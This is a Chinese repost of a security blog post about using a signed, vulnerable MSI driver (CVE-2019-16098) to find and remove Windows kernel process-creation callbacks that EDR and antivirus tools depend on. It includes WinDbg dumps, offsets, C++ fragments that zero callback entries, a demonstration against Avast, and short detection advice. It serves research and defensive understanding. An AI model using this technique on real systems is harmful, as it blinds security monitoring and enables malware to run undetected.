使用驅動移除內核回調,

https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/

原創 大藍 RJ45實驗室?

使用簽名驅動移除內核回調-安全KER - 安全資訊平臺

介紹

創建該PoC的目的是了解驅動漏洞利用程序的強大功能,以及EDR如何使用內核回調以防止惡意軟件的攻擊。

在代碼中會用到一個Barakat發現并公開了的驅動程序漏洞,并將其分配為CVE-2019-16098。它是一個經過簽名的MSI驅動程序,可以讀取和寫入完整的內核內存,事實證明這對攻擊者極為有用,并且可以對整個系統造成危害。PoC可以以低特權用戶身份獲取SYSTEM CMD的功能。

而引起我對CVE-2019-16098的注意,也是因為這篇博文,該博文使用了該漏洞從LSASS進程中刪除了PPL( Protected Process Light)保護。

除了上述文章外介紹的刪除PPL外,我們還需要枚舉系統回調。這里還有一篇SpectreOps Matt Hands的文章深入探討了Mimikatz的驅動程序Mimidrv。通過這篇文章,可以對枚舉回調有了更深的理解。

我還可以推薦克里斯托弗·韋拉(Christopher Vella)在CrikeyCon視頻(需要翻墻)的“反向和旁路EDR”,它很好地說明了回調例程,并提供了有關EDR內部工作方式的概述。

驅動和內核內存

大多數閱讀這篇文章的人可能已經知道,Windows中的內存空間主要分為Userland內存和Kernel內存。當用戶創建一個進程時,內核將管理該進程的虛擬內存空間,從而使其只能訪問自己的虛擬地址空間,該地址僅對該進程可用。使用內核內存,情況有所不同。系統上的每個驅動程序都沒有相互隔離的地址空間-它們是共享內存的。MSDN這樣說:

所有在內核模式下運行的代碼共享一個虛擬地址空間。這意味著內核模式驅動程序不會與其他驅動程序以及操作系統本身隔離。如果內核模式驅動程序意外地寫入了錯誤的虛擬地址,則可能會破壞屬于操作系統或其他驅動程序的數據。如果內核模式驅動程序崩潰,則整個操作系統崩潰。

當然,這會給這些驅動程序的開發人員以及防止加載任何驅動程序的操作系統造成很大的負擔。因此,Microsoft對可以在系統上加載哪些驅動程序進行了嚴格限制。首先,加載驅動程序的用戶需要具有權限-SELoadDriverPrivilege。默認情況下,這僅授予管理員,這是有充分理由的。就像SeDebugPrivilege一樣,不應輕易授予此特權。這里有一篇Tarlogic的文章介紹了如何通過這些權限以在系統上獲得更高的權限。

其次,Microsoft從版本1607開始,所有Windows 10版本的驅動程序會被要求簽名。這意味著任何啟用了安全啟動的最新工作站或服務器都不會加載未簽名或簽名無效的驅動程序。問題解決了吧?

不幸的是,軟件是由人編寫的,并且人會犯錯誤。簽名驅動程序也是如此。即使要求在加載驅動程序之前對其進行簽名,攻擊者也可以找到一個已簽名的驅動程序,且該驅動存在允許任意讀取/寫入內核內存漏洞。Micro-Star MSI Afterburner 4.6.2.15658驅動程序恰恰具有這些漏洞。

還有許多其他已簽名的驅動程序可供使用,一些游戲黑客論壇收集了這些驅動程序和存在的漏洞的列表。由于目前尚無停止有效簽名驅動的方法,因此在相當長的一段時間內,加載并且利用這些存在漏洞的簽名驅動程序似乎是一種有效的技術。

回調例程

當Microsoft在2005年推出Kernel Patch Protection(稱為PatchGuard)時,它嚴重限制了第三方Antivirus供應商使用Kernel Hook來檢測和防止系統上的惡意軟件的選擇。從那時起,這些供應商不得不更多地依賴于內核回調函數系統來通知事件。有很多已記錄和未記錄的回調函數。我們最感興趣的函數是:

  • PsSetLoadImageNotifyRoutine

  • PsSetCreateThreadNotifyRoutine

  • PsSetCreateProcessNotifyRoutine

  • CmRegisterCallbackEx

  • ObRegisterCallbacks

除了用于注冊表回調的CmRegisterCallbackEx和用于對象創建回調的ObRegisterCallbacks之外,其他都是可以通過函數名字理解函數的功能。

在本文中,我將重點介紹進程創建回調例程-PsSetCreateProcessNotifyRoutine。

找到進程回調函數

簡而言之,驅動程序可以注冊一個在系統上每次創建新進程時都會調用的回調函數。這些函數被注冊并存儲在稱為PspCreateProcessNotifyRoutine的數組中,該數組最多包含64個回調函數。Matt Hand使用Windbg逐步說明了如何根據Mimidrv源代碼為每個已注冊的回調函數查看此數組以及如何確定每個回調函數將其解析為哪個驅動程序。

概括來說,這些步驟是:

1.利用字節匹配的方式在PsSetCreateProcessNotifyRoutine和IoCreateDriver的地址之間搜索
2.這些字節在未文檔化的PspSetCreateProcessNotifyRoutine的函數開頭(請注意名稱中的額外“ p”)。
3.在此未文檔化的函數中,我們看到對目標數組的引用:PspCreateProcessNotifyRoutine。
在Windbg中,它看起來像這樣:

lkd> u Pspsetcreateprocessnotifyroutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`235537d0 48895c2408      mov     qword ptr [rsp+8],rbx
fffff802`235537d5 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff802`235537da 4889742418      mov     qword ptr [rsp+18h],rsi
fffff802`235537df 57              push    rdi
fffff802`235537e0 4154            push    r12
fffff802`235537e2 4155            push    r13
fffff802`235537e4 4156            push    r14
fffff802`235537e6 4157            push    r15
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x18:
fffff802`235537e8 4883ec20        sub     rsp,20h
fffff802`235537ec 8bf2            mov     esi,edx
fffff802`235537ee 8bda            mov     ebx,edx
fffff802`235537f0 83e602          and     esi,2
fffff802`235537f3 4c8bf1          mov     r14,rcx
fffff802`235537f6 f6c201          test    dl,1
fffff802`235537f9 0f85e7f80b00    jne     nt!PspSetCreateProcessNotifyRoutine+0xbf916 (fffff802`236130e6)
fffff802`235537ff 85f6            test    esi,esi
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x31:
fffff802`23553801 0f848c000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc3 (fffff802`23553893)
fffff802`23553807 ba20000000      mov     edx,20h
fffff802`2355380c e8df52a3ff      call    nt!MmVerifyCallbackFunctionCheckFlags (fffff802`22f88af0)
fffff802`23553811 85c0            test    eax,eax
fffff802`23553813 0f8490f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9d9 (fffff802`236131a9)
fffff802`23553819 488bd3          mov     rdx,rbx
fffff802`2355381c 498bce          mov     rcx,r14
fffff802`2355381f e8a4000000      call    nt!ExAllocateCallBack (fffff802`235538c8)
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`23553824 488bf8          mov     rdi,rax
fffff802`23553827 4885c0          test    rax,rax
fffff802`2355382a 0f8483f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9e3 (fffff802`236131b3)
fffff802`23553830 33db            xor     ebx,ebx
fffff802`23553832 4c8d2d6726dbff  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff802`23305ea0)]
fffff802`23553839 488d0cdd00000000 lea     rcx,[rbx*8]
fffff802`23553841 4533c0          xor     r8d,r8d
fffff802`23553844 4903cd          add     rcx,r13

我遇到了一些奇怪的技術問題,這些問題很可能是由于我通常在編碼方面的能力不足,所以我采取了更快捷的方法:我在Windows 10版本1909上計算了導出函數PsSetCreateProcessNotifyRoutine的偏移量,并且在兩臺機器上測試還是比較穩定的。但因為Windows不同版本之間的偏移似乎有所變化,我將把系統1909到2004其版本間進行更新,直到可以使按照字節來進行匹配,直到正確為止。

找到進程創建回調例程指針的數組后,它們所指向的內存地址可以按以下方式計算,如Matt所述:

1.刪除指針地址的最后4位
2.跳過結構的前8個字節

結果地址是每當創建進程時將調用的地址。使用該地址,我們可以準確地計算出該部分內存中加載了哪個驅動程序,并查看在我們的進程創建中和哪個驅動程序關聯。

如果要枚舉并刪除現有的回調,則需要在程序中復制這些步驟。我將假定易受攻擊的驅動程序已經加載,并且我們具有可靠的內存讀取和寫入功能。

我們首先使用EnumDeviceDrivers()來檢索內核基地址。可以用Medium完整性進程用于檢索內核基址,因為這通常是要返回的第一個地址。盡管不是100%可靠,但是到目前為止我還沒有遇到任何問題。

DWORD64 Findkrnlbase() {DWORD cbNeeded = 0;LPVOID drivers[1024];if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {return (DWORD64)drivers[0];}return NULL;

了解了內核基礎之后,我們現在可以使用LoadLibrary()加載ntoskrnl.exe并使用GetProcAddress()查找某些導出函數的地址。我們將從已加載的內核庫(ntoskrnl.exe)計算這些函數的偏移量,并根據內存中的當前當前內核基址來計算這些函數在內存中的當前內存地址。這個想法和代碼基于RedCursor的PPLKiller代碼:

const auto NtoskrnlBaseAddress = Findkrnlbase();HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");const DWORD64 PsSetCreateProcessNotifyRoutineOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsSetCreateProcessNotifyRoutine")) - reinterpret_cast<DWORD64>(Ntoskrnl);FreeLibrary(Ntoskrnl);const DWORD64 PsSetCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PsSetCreateProcessNotifyRoutineOffset;

現在讓我們計算PspCreateProcessNotifyRoutine的回調數組的在Windows 1909系統上的偏移量。

lkd> dq nt!pspcreateprocessnotifyroutine
fffff802`23305ea0  ffffaa88`6946151f ffffaa88`696faa8f
fffff802`23305eb0  ffffaa88`6c607e4f ffffaa88`6c60832f
fffff802`23305ec0  ffffaa88`6c6083ef ffffaa88`6c60f4ff
fffff802`23305ed0  ffffaa88`6c60fdcf ffffaa88`6c6106ff
fffff802`23305ee0  ffffaa88`732701cf ffffaa88`7327130f
fffff802`23305ef0  ffffaa88`771818af ffffaa88`7cb3b1bf
fffff802`23305f00  00000000`00000000 00000000`00000000
fffff802`23305f10  00000000`00000000 00000000`00000000
lkd> dq nt!pssetcreateprocessnotifyroutine L1
fffff802`235536b0  d233c28a`28ec8348

在此版本的Windows中,回調數組似乎位于PsSetCreateProcessNotifyRoutine + 0x24D810中。

現在,讓我們使用MSI驅動程序和該驅動程序利用程序的作者提供的內存讀取功能,來檢索和列出這些回調例程。我們還添加了功能以指定要刪除的回調函數:

const DWORD64 PspCreateProcessNotifyRoutineAddress = PsSetCreateProcessNotifyRoutineAddress - 0x24D810;
Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress);
Log("[+] Enumerating process creation callbacks");
int i = 0;
for (i; i < 64; i++) {DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8));if (callback != NULL) {//only print actual callbackscallback =(callback &= ~(1ULL << 3)+0x1);//remove last 4 bytes, jmp over first 8DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback);FindDriver(cbFunction);if (cbFunction == remove) {//if the address specified to be removed from the array matches the one we just retrieved, remove it.Log("Removing callback to %p at address %p", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8));WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8),0x0000000000000000);}}}

FindDriver函數需要做更多的工作,并且可能是整個代碼庫中最差的代碼,但是它可以工作……我們基本上再次使用EnumDeviceDrivers,遍歷驅動程序地址,存儲比回調函數地址低的地址,然后找到最小的地址,再找到區別最小的那段。是的,我知道…我不會在這里列出來,如果您想了解更多,可以隨時在代碼庫中查看它。

太好了-現在我們已經實現了以下目標:

1.我們在內存中找到數組
2.我們可以列出將被通知的函數地址
3.我們可以確切地看到這些功能存在于哪些驅動程序中
4.我們可以刪除特定的回調
是時候測試一下了!

現在,我知道Avast并不是真正的EDR,但是它使用內核驅動程序并注冊進程通知回調,因此非常適合我們的演示。

在此設置中,我使用的是Win1909 x64(操作系統內部版本18363.959)。使用Windbg,我的內核回調如下所示:

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0  ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0  ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0  ffffdb83`6068a1df ffffdb83`6068a92f
fffff800`1dd13ed0  ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0  ffffdb83`6068addf ffffdb83`5df0237f
fffff800`1dd13ef0  ffffdb83`6322dc2f ffffdb83`652eecff
fffff800`1dd13f00  00000000`00000000 00000000`00000000
fffff800`1dd13f10  00000000`00000000 00000000`00000000

谷歌搜索向我們顯示aswArPot.sys,aswSP.sys和aswbuniv.sys是Avast驅動程序,因此我們現在至少知道對于進程通知,這些驅動程序可能阻止了我們的惡意程序。

監測和防御

就檢測和預防而言,我認為藍隊會容易一些,但對于EDR來說可能并非如此。對于EDR供應商而言,難以跟蹤到每一個受到攻擊的簽名驅動進行拉黑,并且無法解決0day漏洞的攻擊。但盡管如此也應該采取一些防護措施來應對這一類攻擊。

對于藍隊,監視服務創建和PspCreateProcessNotifyRoutine:特權的使用將會給你更多防范此類攻擊的手段。其他一些建議是,不應該經常安裝新的驅動,最好僅更新和維護,以及通過特權帳戶安裝驅動程序。從管理帳戶進一步限制此特權也可能是一條值得探索的途徑,該特權保留給專用的軟件/硬件維護帳戶,該帳戶在不使用時會受到嚴格監控并被禁用。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/92295.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/92295.shtml
英文地址,請注明出處:http://en.pswp.cn/web/92295.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從零搭建Cloud Alibaba (下) Sentinel篇

1.Sentinel控制臺的安裝 下載地址&#xff1a; Releases alibaba/Sentinelx 下載后是一個jar包 進入目錄 CMD命令 java -jar "sentinel-dashboard-1.8.8 .jar" 如果發生了端口沖突則使用以下命令啟動 修改端口號為8090 java -Dserver.port8090 -jar "sen…

Numpy科學計算與數據分析:Numpy數學函數入門與實踐

Numpy數學函數實戰&#xff1a;探索數學運算的無限可能 學習目標 通過本課程的學習&#xff0c;學員將掌握Numpy中常用的數學函數&#xff0c;包括三角函數、指數函數和對數函數的使用方法&#xff0c;以及如何利用這些函數對數組進行高效的數學運算。本課程不僅會講解理論知識…

BIGO Ads是什么?BIGO廣告營銷核心玩法解析

在全球化競爭白熱化的當下&#xff0c;BIGO Ads憑借其覆蓋150國家的龐大流量池和AI驅動的精準營銷能力&#xff0c;已成為出海企業突破增長瓶頸的利器。2025年Q1數據顯示&#xff0c;BIGO Ads廣告業務同比增長27%&#xff0c;非直播收入占比達24.9%&#xff0c;成為歡聚集團第二…

人工智能領域、圖歐科技、IMYAI智能助手2025年3月更新月報

2025年3月AI領域重要技術進展與平臺更新概覽 2025年3月&#xff0c;人工智能領域迎來一系列重要技術更新與平臺功能迭代&#xff0c;尤其在多模態模型、圖像生成編輯、視頻生成、大型語言模型&#xff08;LLM&#xff09;性能提升等方面表現活躍。以下是對關鍵進展的梳理&#…

STM32HAL 快速入門(一):點燈前的準備 —— 從軟件安裝到硬件原理

前言 大家好&#xff0c;這里是 Hello_Embed。嵌入式開發的 “Hello World” 是點燈 —— 通過控制單片機引腳的高低電平&#xff0c;讓 LED 亮滅。要實現這個功能&#xff0c;前期準備必不可少&#xff1a;從軟件安裝到硬件原理理解&#xff0c;每一步都很關鍵。本文就來詳細說…

Python網絡編程技術

一、網絡編程基礎概念 1.1 什么是網絡編程&#xff1f; 定義&#xff1a;程序通過網絡與其他程序進行通信的技術。核心目標&#xff1a;實現數據在不同主機或進程間的傳輸與交互。應用場景&#xff1a;Web服務、API調用、實時通信、分布式系統等。 1.2 網絡通信模型 OSI七層…

基于PHP的快遞管理系統的設計與實現

管理員&#xff1a;登錄&#xff1a;管理員可以通過用戶名和密碼登錄系統&#xff0c;進入管理員后臺管理界面。個人中心&#xff1a;管理員可以查看和編輯個人信息&#xff0c;如姓名、聯系方式等。用戶管理&#xff1a;管理員可以管理系統中的用戶信息&#xff0c;包括添加新…

WPF的C1FlexGrid的單元格回車換行輸入

重寫C1FlexGrid的按鍵事件PreviewKeyDown"flex_PreviewKeyUp" 定義按鍵方法private void flex_PreviewKeyUp(object sender, KeyEventArgs e){if (e.Key Key.Enter){// 獲取當前編輯的單元格var cell CfgReviewItem.Selection;if (cell.Column > 0 && …

簡單部署普羅米修斯(Promethus)與Grafana配置

環境信息&#xff1a;系統版本ubuntu2404k8s版本v1.22.2promethus節點IP192.168.31.210Grafana節點IP192.168.31.210node1節點IP192.168.31.214node2節點IP192.168.31.215部署Promethus&#xff08;https://prometheus.io/download/&#xff09; wget https://ghfast.top/https…

Redis 編譯錯誤:缺少靜態庫文件,如何解決?

目錄 一、問題背景 二、問題分析 三、解決方案&#xff1a;手動編譯缺失依賴 四、重新編譯 Redis 主程序 五、小結與補充建議 一、問題背景 在從源代碼編譯 Redis&#xff08;如 8.0.3 版本&#xff09;時&#xff0c;很多開發者可能會遇到如下錯誤信息&#xff1a; /us…

vscode+latex本地英文期刊環境配置

1、首先進行vscode的配置安裝&#xff0c;這個網上很多教程直接安裝就可以&#xff0c;我建議安裝vscode就行&#xff08;https://code.visualstudio.com/Download&#xff09;&#xff0c;vs studio稍微有點復雜而且有點大沒必要&#xff0c;單寫論文和簡單的代碼編譯&#xf…

8.6 CSS3rem布局

rem布局 rem &#xff08;font size of the root element&#xff09;是指相對于根元素的字體大小的單位。簡單的說它就是一個相對單位。看到rem大家一定會想起em單位&#xff0c;em&#xff08;font size of the element&#xff09;是指相對于父元素的字體大小的單位。它們之…

第十五章、非合作關系設定下的多智能體強化學習

0 前言 根據上一章的內容&#xff0c;已知完全合作關系下的多智能體利益一致有相同的目標&#xff0c;而非合作關系下實際上智能體的獎勵和回報都是不一樣的&#xff0c;它們都在努力讓自己的利益最大化而并不考慮整體利益。 1 非合作關系設定下的策略學習要注意的點&#xff1…

分布式微服務--GateWay(過濾器及使用Gateway注意點)

前言、Spring Cloud Gateway 與 Web 依賴沖突 <!-- 下面兩個依賴不能同時使用 --><!-- Gateway 組件 --><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-gateway</artifactId><ve…

latex in overleaf快速通關論文排版

文章目錄 0 有效連接匯總 1 簡介 1.1 latex是什么 1.2 overleaf是什么? 2 快速上手 步驟1 注冊 步驟2 使用 (1) 找模板 (2) 整體論文的overleaf結構 (3) 編輯內容 打開可視化編輯 實時編譯 編輯 (4) 導出 3 常規操作 3.1 公式 3.2 表格 3.3 圖片 3.4 引用 3.5 代碼塊 3.6 設置…

OO SALV的欄位功能

SALV的欄位功能主要是通過CL_SALV_COLUMN_TABLE和CL_SALV_COLUMNS_TABLE這兩個類的實現的。 SALV的欄位屬性的詳細功能包括異常狀態圖標、圖標、符號、復選框、按鈕、熱點、超鏈接、單元格類型、單元格顏色、某一欄位顏色、某一行顏色&#xff0c;欄位隱藏等。關于顏色等樣式屬…

第2章:建模篇——第1節:點線面的選擇與控制

目錄 1.模式的切換 &#xff08;1&#xff09;編輯模式的切換 &#xff08;2&#xff09;點線面的切換 2.點線面的選擇 &#xff08;1&#xff09;選擇的設置 &#xff08;2&#xff09;循環選擇 3.點線面的控制 4.總結 1.模式的切換 &#xff08;1&#xff09;編輯模…

深入解析嵌套事務:原理與應用

嵌套事務是指在事務執行過程中啟動另一個事務形成的層級調用結構&#xff0c;主要用于處理跨服務或復雜業務場景的事務一致性控制。其核心是通過事務傳播機制管理多個操作的原子性&#xff0c;具體原理和應用如下&#xff1a;一、核心概念與工作原理層級結構 嵌套事務由頂層事務…

[激光原理與應用-168]:測量儀器 - 對光學指標進行測量的儀器

一、基礎光學參數測量儀器 - 頻率/波長/功率光學顯微鏡用途&#xff1a;觀察微小物體的顯微圖像&#xff0c;用于材料科學、生物學等領域。特點&#xff1a;高放大倍數和分辨率&#xff0c;可清晰顯示微觀結構。光譜分析儀用途&#xff1a;測量發光體的輻射光譜&#xff0c;分析…

MPC-in-the-Head 轉換入門指南

1. 引言 本文將探討構建零知識證明&#xff08;ZKP&#xff09;的一種非常有趣的方法&#xff1a; MPC-in-the-Head Transformation&#xff08;轉換&#xff09;。 該方法最早由 2007 年的論文 Zero-knowledge from secure multiparty computation 提出&#xff0c;通常被稱…